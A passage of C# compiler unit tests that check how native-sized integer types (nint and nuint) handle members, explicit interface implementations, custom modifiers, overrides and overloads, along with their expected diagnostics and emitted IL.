VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"System.Boolean {type}.Equals(System.Object obj)",
$"System.Int32 {type}.GetHashCode()",
$"System.String {type}.ToString()",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
var underlyingType = type.NativeIntegerUnderlyingType;
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Theory]
[InlineData(false)]
[InlineData(true)]
public void ExplicitImplementations_01(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Int64 { }
public struct UInt32 { }
public struct UInt64 { }
public interface I<T>
{
T P { get; }
T F();
}
public struct IntPtr : I<IntPtr>
{
IntPtr I<IntPtr>.P => this;
IntPtr I<IntPtr>.F() => this;
}
public struct UIntPtr : I<UIntPtr>
{
UIntPtr I<UIntPtr>.P => this;
UIntPtr I<UIntPtr>.F() => this;
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"using System;
class Program
{
static T F1<T>(I<T> t)
{
return default;
}
static I<T> F2<T>(I<T> t)
{
return t;
}
static void M1(nint x)
{
var x1 = F1(x);
var x2 = F2(x).P;
_ = x.P;
_ = x.F();
}
static void M2(nuint y)
{
var y1 = F1(y);
var y2 = F2(y).P;
_ = y.P;
_ = y.F();
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (16,15): error CS1061: 'nint' does not contain a definition for 'P' and no accessible extension method 'P' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = x.P;
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "P").WithArguments("nint", "P").WithLocation(16, 15),
// (17,15): error CS1061: 'nint' does not contain a definition for 'F' and no accessible extension method 'F' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = x.F();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F").WithArguments("nint", "F").WithLocation(17, 15),
// (23,15): error CS1061: 'nuint' does not contain a definition for 'P' and no accessible extension method 'P' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = y.P;
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "P").WithArguments("nuint", "P").WithLocation(23, 15),
// (24,15): error CS1061: 'nuint' does not contain a definition for 'F' and no accessible extension method 'F' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = y.F();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F").WithArguments("nuint", "F").WithLocation(24, 15));
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var actualLocals = tree.GetRoot().DescendantNodes().OfType<VariableDeclaratorSyntax>().Select(d => model.GetDeclaredSymbol(d).ToTestDisplayString());
var expectedLocals = new[]
{
"nint x1",
"nint x2",
"nuint y1",
"nuint y2",
};
AssertEx.Equal(expectedLocals, actualLocals);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.M1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.M2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Fact]
public void ExplicitImplementations_02()
{
var sourceA =
@"Namespace System
Public Class [Object]
End Class
Public Class [String]
End Class
Public MustInherit Class ValueType
End Class
Public Structure Void
End Structure
Public Structure [Boolean]
End Structure
Public Structure Int32
End Structure
Public Structure Int64
End Structure
Public Structure UInt32
End Structure
Public Structure UInt64
End Structure
Public Interface I(Of T)
ReadOnly Property P As T
Function F() As T
End Interface
Public Structure IntPtr
Implements I(Of IntPtr)
Public ReadOnly Property P As IntPtr Implements I(Of IntPtr).P
Get
Return Nothing
End Get
End Property
Public Function F() As IntPtr Implements I(Of IntPtr).F
Return Nothing
End Function
End Structure
Public Structure UIntPtr
Implements I(Of UIntPtr)
Public ReadOnly Property P As UIntPtr Implements I(Of UIntPtr).P
Get
Return Nothing
End Get
End Property
Public Function F() As UIntPtr Implements I(Of UIntPtr).F
Return Nothing
End Function
End Structure
End Namespace";
var compA = CreateVisualBasicCompilation(sourceA, referencedAssemblies: Array.Empty<MetadataReference>());
compA.VerifyDiagnostics();
var refA = compA.EmitToImageReference();
var sourceB =
@"using System;
class Program
{
static T F1<T>(I<T> t)
{
return default;
}
static I<T> F2<T>(I<T> t)
{
return t;
}
static void M1(nint x)
{
var x1 = F1(x);
var x2 = F2(x).P;
_ = x.P;
_ = x.F();
}
static void M2(nuint y)
{
var y1 = F1(y);
var y2 = F2(y).P;
_ = y.P;
_ = y.F();
}
}";
var compB = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
compB.VerifyDiagnostics();
var tree = compB.SyntaxTrees[0];
var model = compB.GetSemanticModel(tree);
var actualLocals = tree.GetRoot().DescendantNodes().OfType<VariableDeclaratorSyntax>().Select(d => model.GetDeclaredSymbol(d).ToTestDisplayString());
var expectedLocals = new[]
{
"nint x1",
"nint x2",
"nuint y1",
"nuint y2",
};
AssertEx.Equal(expectedLocals, actualLocals);
verifyType((NamedTypeSymbol)compB.GetMember<MethodSymbol>("Program.M1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)compB.GetMember<MethodSymbol>("Program.M2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
foreach (var member in members)
{
Assert.True(member.GetExplicitInterfaceImplementations().IsEmpty);
}
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type} {type}.F()",
$"{type} {type}.P {{ get; }}",
$"{type} {type}.P.get",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Fact]
public void NonPublicMembers_InternalUse()
{
var source =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr
{
private static IntPtr F1() => default;
internal IntPtr F2() => default;
public static IntPtr F3()
{
nint i = 0;
_ = nint.F1();
_ = i.F2();
return nint.F3();
}
}
public struct UIntPtr
{
private static UIntPtr F1() => default;
internal UIntPtr F2() => default;
public static UIntPtr F3()
{
nuint i = 0;
_ = nuint.F1();
_ = i.F2();
return nuint.F3();
}
}
}";
var comp = CreateEmptyCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (16,22): error CS0117: 'nint' does not contain a definition for 'F1'
// _ = nint.F1();
Diagnostic(ErrorCode.ERR_NoSuchMember, "F1").WithArguments("nint", "F1").WithLocation(16, 22),
// (17,19): error CS1061: 'nint' does not contain a definition for 'F2' and no accessible extension method 'F2' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.F2();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F2").WithArguments("nint", "F2").WithLocation(17, 19),
// (28,23): error CS0117: 'nuint' does not contain a definition for 'F1'
// _ = nuint.F1();
Diagnostic(ErrorCode.ERR_NoSuchMember, "F1").WithArguments("nuint", "F1").WithLocation(28, 23),
// (29,19): error CS1061: 'nuint' does not contain a definition for 'F2' and no accessible extension method 'F2' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = i.F2();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F2").WithArguments("nuint", "F2").WithLocation(29, 19));
}
[Theory]
[InlineData(false)]
[InlineData(true)]
public void NonPublicMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct IntPtr
{
private static IntPtr F1() => default;
internal IntPtr F2() => default;
public static IntPtr F3() => default;
}
public struct UIntPtr
{
private static UIntPtr F1() => default;
internal UIntPtr F2() => default;
public static UIntPtr F3() => default;
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
static void F1(nint x)
{
_ = nint.F1();
_ = x.F2();
_ = nint.F3();
}
static void F2(nuint y)
{
_ = nuint.F1();
_ = y.F2();
_ = nuint.F3();
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,18): error CS0117: 'nint' does not contain a definition for 'F1'
// _ = nint.F1();
Diagnostic(ErrorCode.ERR_NoSuchMember, "F1").WithArguments("nint", "F1").WithLocation(5, 18),
// (6,15): error CS1061: 'nint' does not contain a definition for 'F2' and no accessible extension method 'F2' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = x.F2();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F2").WithArguments("nint", "F2").WithLocation(6, 15),
// (11,19): error CS0117: 'nuint' does not contain a definition for 'F1'
// _ = nuint.F1();
Diagnostic(ErrorCode.ERR_NoSuchMember, "F1").WithArguments("nuint", "F1").WithLocation(11, 19),
// (12,15): error CS1061: 'nuint' does not contain a definition for 'F2' and no accessible extension method 'F2' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = y.F2();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "F2").WithArguments("nuint", "F2").WithLocation(12, 15));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type} {type}.F3()",
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Theory]
[InlineData(false)]
[InlineData(true)]
public void OtherMembers(bool useCompilationReference)
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct Int64 { }
public struct UInt32 { }
public struct UInt64 { }
public struct IntPtr
{
public static T M<T>(T t) => t;
public IntPtr this[int index] => default;
}
public struct UIntPtr
{
public static T M<T>(T t) => t;
public UIntPtr this[int index] => default;
}
public class Attribute { }
}
namespace System.Reflection
{
public class DefaultMemberAttribute : Attribute
{
public DefaultMemberAttribute(string member) { }
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class Program
{
static void F1(nint x)
{
_ = x.M<nint>();
_ = x[0];
}
static void F2(nuint y)
{
_ = y.M<nuint>();
_ = y[0];
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,15): error CS1061: 'nint' does not contain a definition for 'M' and no accessible extension method 'M' accepting a first argument of type 'nint' could be found (are you missing a using directive or an assembly reference?)
// _ = x.M<nint>();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "M<nint>").WithArguments("nint", "M").WithLocation(5, 15),
// (6,13): error CS0021: Cannot apply indexing with [] to an expression of type 'nint'
// _ = x[0];
Diagnostic(ErrorCode.ERR_BadIndexLHS, "x[0]").WithArguments("nint").WithLocation(6, 13),
// (10,15): error CS1061: 'nuint' does not contain a definition for 'M' and no accessible extension method 'M' accepting a first argument of type 'nuint' could be found (are you missing a using directive or an assembly reference?)
// _ = y.M<nuint>();
Diagnostic(ErrorCode.ERR_NoSuchMemberOrExtension, "M<nuint>").WithArguments("nuint", "M").WithLocation(10, 15),
// (11,13): error CS0021: Cannot apply indexing with [] to an expression of type 'nuint'
// _ = y[0];
Diagnostic(ErrorCode.ERR_BadIndexLHS, "y[0]").WithArguments("nuint").WithLocation(11, 13));
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"{type}..ctor()",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
// Custom modifiers are copied to native integer types but not substituted.
[Fact]
public void CustomModifiers()
{
var sourceA =
@".assembly mscorlib
{
.ver 0:0:0:0
}
.class public System.Object
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
.method public hidebysig newslot virtual instance string ToString() cil managed { ldnull throw }
.method public hidebysig newslot virtual instance bool Equals(object obj) cil managed { ldnull throw }
.method public hidebysig newslot virtual instance int32 GetHashCode() cil managed { ldnull throw }
}
.class public abstract System.ValueType extends System.Object
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public System.String extends System.Object
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public sealed System.Void extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public sealed System.Boolean extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public sealed System.Int32 extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
}
.class public interface System.IComparable`1<T>
{
}
.class public sealed System.IntPtr extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
.method public hidebysig static native int modopt(native int) F1() cil managed { ldnull throw }
.method public hidebysig static native int& modopt(native int) F2() cil managed { ldnull throw }
.method public hidebysig static void F3(native int modopt(native int) i) cil managed { ret }
.method public hidebysig static void F4(native int& modopt(native int) i) cil managed { ret }
.method public hidebysig instance class System.IComparable`1<native int modopt(native int)> F5() cil managed { ldnull throw }
.method public hidebysig instance void F6(native int modopt(class System.IComparable`1<native int>) i) cil managed { ret }
.method public hidebysig instance native int modopt(native int) get_P() cil managed { ldnull throw }
.method public hidebysig instance native int& modopt(native int) get_Q() cil managed { ldnull throw }
.method public hidebysig instance void set_P(native int modopt(native int) i) cil managed { ret }
.property instance native int modopt(native int) P()
{
.get instance native int modopt(native int) System.IntPtr::get_P()
.set instance void System.IntPtr::set_P(native int modopt(native int))
}
.property instance native int& modopt(native int) Q()
{
.get instance native int& modopt(native int) System.IntPtr::get_Q()
}
}
.class public sealed System.UIntPtr extends System.ValueType
{
.method public hidebysig specialname rtspecialname instance void .ctor() cil managed { ret }
.method public hidebysig static native uint modopt(native uint) F1() cil managed { ldnull throw }
.method public hidebysig static native uint& modopt(native uint) F2() cil managed { ldnull throw }
.method public hidebysig static void F3(native uint modopt(native uint) i) cil managed { ret }
.method public hidebysig static void F4(native uint& modopt(native uint) i) cil managed { ret }
.method public hidebysig instance class System.IComparable`1<native uint modopt(native uint)> F5() cil managed { ldnull throw }
.method public hidebysig instance void F6(native uint modopt(class System.IComparable`1<native uint>) i) cil managed { ret }
.method public hidebysig instance native uint modopt(native uint) get_P() cil managed { ldnull throw }
.method public hidebysig instance native uint& modopt(native uint) get_Q() cil managed { ldnull throw }
.method public hidebysig instance void set_P(native uint modopt(native uint) i) cil managed { ret }
.property instance native uint modopt(native uint) P()
{
.get instance native uint modopt(native uint) System.UIntPtr::get_P()
.set instance void System.UIntPtr::set_P(native uint modopt(native uint))
}
.property instance native uint& modopt(native uint) Q()
{
.get instance native uint& modopt(native uint) System.UIntPtr::get_Q()
}
}";
var refA = CompileIL(sourceA, prependDefaultHeader: false, autoInherit: false);
var sourceB =
@"class Program
{
static void F1(nint i)
{
_ = nint.F1();
_ = nint.F2();
nint.F3(i);
nint.F4(ref i);
_ = i.F5();
i.F6(i);
_ = i.P;
_ = i.Q;
i.P = i;
}
static void F2(nuint u)
{
_ = nuint.F1();
_ = nuint.F2();
nuint.F3(u);
nuint.F4(ref u);
_ = u.F5();
u.F6(u);
_ = u.P;
_ = u.Q;
u.P = u;
}
}";
var comp = CreateEmptyCompilation(sourceB, new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F1").Parameters[0].Type, signed: true);
verifyType((NamedTypeSymbol)comp.GetMember<MethodSymbol>("Program.F2").Parameters[0].Type, signed: false);
static void verifyType(NamedTypeSymbol type, bool signed)
{
Assert.True(type.IsNativeIntegerType);
VerifyType(type, signed: signed, isNativeInt: true);
VerifyType(type.GetPublicSymbol(), signed: signed, isNativeInt: true);
var underlyingType = type.NativeIntegerUnderlyingType;
var members = type.GetMembers().Sort(SymbolComparison);
var actualMembers = members.SelectAsArray(m => m.ToTestDisplayString());
var expectedMembers = new[]
{
$"System.IComparable<{type} modopt({underlyingType})> {type}.F5()",
$"{type} modopt({underlyingType}) {type}.F1()",
$"{type} modopt({underlyingType}) {type}.P {{ get; set; }}",
$"{type} modopt({underlyingType}) {type}.P.get",
$"{type}..ctor()",
$"ref modopt({underlyingType}) {type} {type}.F2()",
$"ref modopt({underlyingType}) {type} {type}.Q {{ get; }}",
$"ref modopt({underlyingType}) {type} {type}.Q.get",
$"void {type}.F3({type} modopt({underlyingType}) i)",
$"void {type}.F4(ref modopt({underlyingType}) {type} i)",
$"void {type}.F6({type} modopt(System.IComparable<{underlyingType}>) i)",
$"void {type}.P.set",
};
AssertEx.Equal(expectedMembers, actualMembers);
VerifyMembers(underlyingType, type, signed);
VerifyMembers(underlyingType.GetPublicSymbol(), type.GetPublicSymbol(), signed);
}
}
[Fact]
public void DefaultConstructors()
{
var source =
@"class Program
{
static void Main()
{
F(new nint());
F(new nuint());
}
static void F(object o)
{
System.Console.WriteLine(o);
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,15): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F(new nint());
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(5, 15),
// (6,15): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F(new nuint());
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(6, 15));
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp, expectedOutput:
@"0
0");
verifier.VerifyIL("Program.Main",
@"{
// Code size 25 (0x19)
.maxstack 1
IL_0000: ldc.i4.0
IL_0001: conv.i
IL_0002: box ""System.IntPtr""
IL_0007: call ""void Program.F(object)""
IL_000c: ldc.i4.0
IL_000d: conv.i
IL_000e: box ""System.UIntPtr""
IL_0013: call ""void Program.F(object)""
IL_0018: ret
}");
}
[Fact]
public void NewConstraint()
{
var source =
@"class Program
{
static void Main()
{
F<nint>();
F<nuint>();
}
static void F<T>() where T : new()
{
System.Console.WriteLine(new T());
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,11): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F<nint>();
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(5, 11),
// (6,11): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F<nuint>();
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(6, 11));
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp, expectedOutput:
@"0
0");
verifier.VerifyIL("Program.Main",
@"{
// Code size 11 (0xb)
.maxstack 0
IL_0000: call ""void Program.F<nint>()""
IL_0005: call ""void Program.F<nuint>()""
IL_000a: ret
}");
}
[Fact]
public void ArrayInitialization()
{
var source =
@"class Program
{
static void Main()
{
Report(new nint[] { int.MinValue, -1, 0, 1, int.MaxValue });
Report(new nuint[] { 0, 1, 2, int.MaxValue, uint.MaxValue });
}
static void Report<T>(T[] items)
{
foreach (var item in items)
System.Console.WriteLine($""{item.GetType().FullName}: {item}"");
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"System.IntPtr: -2147483648
System.IntPtr: -1
System.IntPtr: 0
System.IntPtr: 1
System.IntPtr: 2147483647
System.UIntPtr: 0
System.UIntPtr: 1
System.UIntPtr: 2
System.UIntPtr: 2147483647
System.UIntPtr: 4294967295");
verifier.VerifyIL("Program.Main",
@"{
// Code size 75 (0x4b)
.maxstack 4
IL_0000: ldc.i4.5
IL_0001: newarr ""System.IntPtr""
IL_0006: dup
IL_0007: ldc.i4.0
IL_0008: ldc.i4 0x80000000
IL_000d: conv.i
IL_000e: stelem.i
IL_000f: dup
IL_0010: ldc.i4.1
IL_0011: ldc.i4.m1
IL_0012: conv.i
IL_0013: stelem.i
IL_0014: dup
IL_0015: ldc.i4.3
IL_0016: ldc.i4.1
IL_0017: conv.i
IL_0018: stelem.i
IL_0019: dup
IL_001a: ldc.i4.4
IL_001b: ldc.i4 0x7fffffff
IL_0020: conv.i
IL_0021: stelem.i
IL_0022: call ""void Program.Report<nint>(nint[])""
IL_0027: ldc.i4.5
IL_0028: newarr ""System.UIntPtr""
IL_002d: dup
IL_002e: ldc.i4.1
IL_002f: ldc.i4.1
IL_0030: conv.i
IL_0031: stelem.i
IL_0032: dup
IL_0033: ldc.i4.2
IL_0034: ldc.i4.2
IL_0035: conv.i
IL_0036: stelem.i
IL_0037: dup
IL_0038: ldc.i4.3
IL_0039: ldc.i4 0x7fffffff
IL_003e: conv.i
IL_003f: stelem.i
IL_0040: dup
IL_0041: ldc.i4.4
IL_0042: ldc.i4.m1
IL_0043: conv.u
IL_0044: stelem.i
IL_0045: call ""void Program.Report<nuint>(nuint[])""
IL_004a: ret
}");
}
[Fact]
public void Overrides_01()
{
var sourceA =
@"public interface IA
{
void F1(nint x, System.UIntPtr y);
}
public abstract class A
{
public abstract void F2(System.IntPtr x, nuint y);
}";
var sourceB =
@"class B1 : A, IA
{
public void F1(nint x, System.UIntPtr y) { }
public override void F2(System.IntPtr x, nuint y) { }
}
class B2 : A, IA
{
public void F1(System.IntPtr x, nuint y) { }
public override void F2(nint x, System.UIntPtr y) { }
}
class A3 : IA
{
void IA.F1(nint x, System.UIntPtr y) { }
}
class A4 : IA
{
void IA.F1(System.IntPtr x, nuint y) { }
}";
var comp = CreateCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Overrides_02()
{
var sourceA =
@"public interface IA
{
void F1(System.IntPtr x, System.UIntPtr y);
}
public abstract class A
{
public abstract void F2(System.IntPtr x, System.UIntPtr y);
}";
var sourceB =
@"class B1 : A, IA
{
public void F1(nint x, System.UIntPtr y) { }
public override void F2(nint x, System.UIntPtr y) { }
}
class B2 : A, IA
{
public void F1(System.IntPtr x, nuint y) { }
public override void F2(System.IntPtr x, nuint y) { }
}
class A3 : IA
{
void IA.F1(nint x, System.UIntPtr y) { }
}
class A4 : IA
{
void IA.F1(System.IntPtr x, nuint y) { }
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Overrides_03()
{
var sourceA =
@"public interface IA
{
void F1(nint x, System.UIntPtr y);
}
public abstract class A
{
public abstract void F2(System.IntPtr x, nuint y);
}";
var sourceB =
@"class B1 : A, IA
{
public void F1(System.IntPtr x, System.UIntPtr y) { }
public override void F2(System.IntPtr x, System.UIntPtr y) { }
}
class A2 : IA
{
void IA.F1(System.IntPtr x, System.UIntPtr y) { }
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
}
[Fact]
public void Overloads_01()
{
var sourceA =
@"public class A
{
public void F1(System.IntPtr x) { }
public void F2(nuint y) { }
}";
var sourceB =
@"class B1 : A
{
public void F1(nuint x) { }
public void F2(System.IntPtr y) { }
}
class B2 : A
{
public void F1(nint x) { base.F1(x); }
public void F2(System.UIntPtr y) { base.F2(y); }
}
class B3 : A
{
public new void F1(nuint x) { }
public new void F2(System.IntPtr y) { }
}
class B4 : A
{
public new void F1(nint x) { base.F1(x); }
public new void F2(System.UIntPtr y) { base.F2(y); }
}";
var diagnostics = new[]
{
// (8,17): warning CS0108: 'B2.F1(nint)' hides inherited member 'A.F1(IntPtr)'. Use the new keyword if hiding was intended.
// public void F1(nint x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B2.F1(nint)", "A.F1(System.IntPtr)").WithLocation(8, 17),
// (9,17): warning CS0108: 'B2.F2(UIntPtr)' hides inherited member 'A.F2(nuint)'. Use the new keyword if hiding was intended.
// public void F2(System.UIntPtr y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B2.F2(System.UIntPtr)", "A.F2(nuint)").WithLocation(9, 17),
// (13,21): warning CS0109: The member 'B3.F1(nuint)' does not hide an accessible member. The new keyword is not required.
// public new void F1(nuint x) { }
Diagnostic(ErrorCode.WRN_NewNotRequired, "F1").WithArguments("B3.F1(nuint)").WithLocation(13, 21),
// (14,21): warning CS0109: The member 'B3.F2(IntPtr)' does not hide an accessible member. The new keyword is not required.
// public new void F2(System.IntPtr y) { }
Diagnostic(ErrorCode.WRN_NewNotRequired, "F2").WithArguments("B3.F2(System.IntPtr)").WithLocation(14, 21)
};
var comp = CreateCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
}
[Fact]
public void Overloads_02()
{
var sourceA =
@"public class A
{
public void F1(System.IntPtr x) { }
public void F2(System.UIntPtr y) { }
}";
var sourceB =
@"class B1 : A
{
public void F1(nint x) { base.F1(x); }
